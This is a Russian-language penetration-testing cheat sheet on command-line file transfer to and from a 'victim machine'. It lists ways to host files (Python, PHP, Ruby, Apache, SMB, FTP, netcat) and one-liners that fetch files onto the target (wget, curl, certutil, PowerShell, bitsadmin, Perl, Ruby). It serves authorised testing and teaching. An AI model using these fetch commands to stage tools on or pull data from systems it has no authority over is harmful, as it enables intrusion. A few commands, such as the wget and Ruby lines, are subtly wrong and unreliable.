# CLI File Transfer

## Для чего нужно?

При выполнении шагов перебора в ходе пентеста часто возникает необходимость передачи файлов на машину жертвы или с нее, например, для запуска пользовательских сценариев или дальнейшего анализа файлов на своей машине.

Существуют различные техники и инструменты, которые можно использовать для передачи файлов, и в зависимости от целевой операционной системы и установленного программного обеспечения они могут работать или не работать. Цель этой шпаргалки - предоставить исчерпывающий ресурс по передаче файлов с помощью интерфейсов командной строки.

## Раздача файлов

Файлы можно размещать с помощью таких методов, как веб-серверы, FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:

### Python HTTP Server

```bash
python3 -m http.server [PORT]
```

### Apache

```bash
# требуется поместить файлы в /var/www/html/
service apache2 start; systemctl start apache2;
```

### Nginx

```bash
# требуется поместить файлы в /usr/share/nginx/html  или /var/www/html
service nginx start; systemctl start nginx
```

### PHP server

```bash
php -S 0.0.0.0:[PORT]
```

### Netcat

```bash
nc -nv IP [PORT] < file
```

### smbserver.py by Impacket

```bash
impacket-smbserver share [share_dir]
```

### Linux Samba

```bash
# раздачу надо добавить в /etc/samba/smb.conf
service smbd start; systemctl start smbd
```

### FTP

```bash
# Для настройки FTP-серверов можно использовать такие службы, как pure-ftpd и proftpd
service pure-ftpd start; systemctl start pure-ftpd; service proftpd start; systemctl start proftpd
# atftpd позвляет легко настроить TFTP сервер
atftpd –daemon –port [PORT] ftp_dir
```

### Web brick Ruby

```bash
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => PORT, :DocumentRoot => Dir.pwd).start'
```

### Ruby http server

```bash
ruby -run -e httpd . -p [PORT]
```

### Perl Brick HTTP сервер

```bash
cpan HTTP::Server::Brick;
perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>PORT); $s->mount(“/”=>{path=>”.”}); $s->start’
```

### Microsoftg IIS Express

```markdown
"C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C: /port:[PORT]
```

## Получение файлов

Файлы можно загружать с помощью различных инструментов, таких как wget/curl FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:

### Wget

```bash
wget http://[IP]:[PORT]/file -o output_file
```

### Curl

```bash
curl http://[IP]:[PORT]/file -o output_file
```

### Certutil

```markdown
certutil -urlcache -split -f "http://[IP]:[PORT]/file" output_file
```

### Invoke-WebRequest

```apache
powershell -c Invoke-WebRequest -Uri http://[IP]:[port]/file -OutFile output_file;
```

### System.Net.WebClient

```apache
powershell -c (New-Object Net.WebClient).DownloadFile('http://[IP]:[PORT]/file', 'output_file')
```

### Bitsadmin

```apache
bitsadmin /transfer job /download /priority high http://[IP]/file output_file
```

### Netcat

```bash
nc -q 0 -lvp [PORT] > file
```

### SMB copy command

```markdown
copy \[IP]\SHARE\output_file
```

### smbget

```bash
smbget smb://[domain];[user]:[password]@[server]/share/path/file
```

### SCP

```bash
scp /path/file [username]@[IP]:/path/file
scp [username]@[IP_1]:/path/file [username]@[IP_2]:/path/file
scp [username]@[IP]:/path/file /path/file
```

### PHP func file\_put\_contents

```bash
php -r "file_put_contents('output_file', fopen('http://[IP]:[PORT]/file', 'r'));”
```

### Python func urlretrieve from urllib

```bash
python -c 'from urllib import urlretrieve; urlretrieve("http://[IP]:[PORT]/file", "output_file")';
python3 -c 'from urllib.request import urlretrieve; urlretrieve("http://[IP]:[PORT]/file", "output_file")'
```

### Perl lib WWW

```bash
perl -MLWP::Simple -e 'getstore("http://[IP]/file", "out_file")';
perl -e 'use LWP::Simple; getstore("http://[IP]/file", "out_file")'
```

### Ruby lib Open-URI

```bash
ruby -e 'require "open-uri"; File.open("output_file", "wb") do |file|; URI.open("http://[IP]:[PORT]/file").read; end'
```
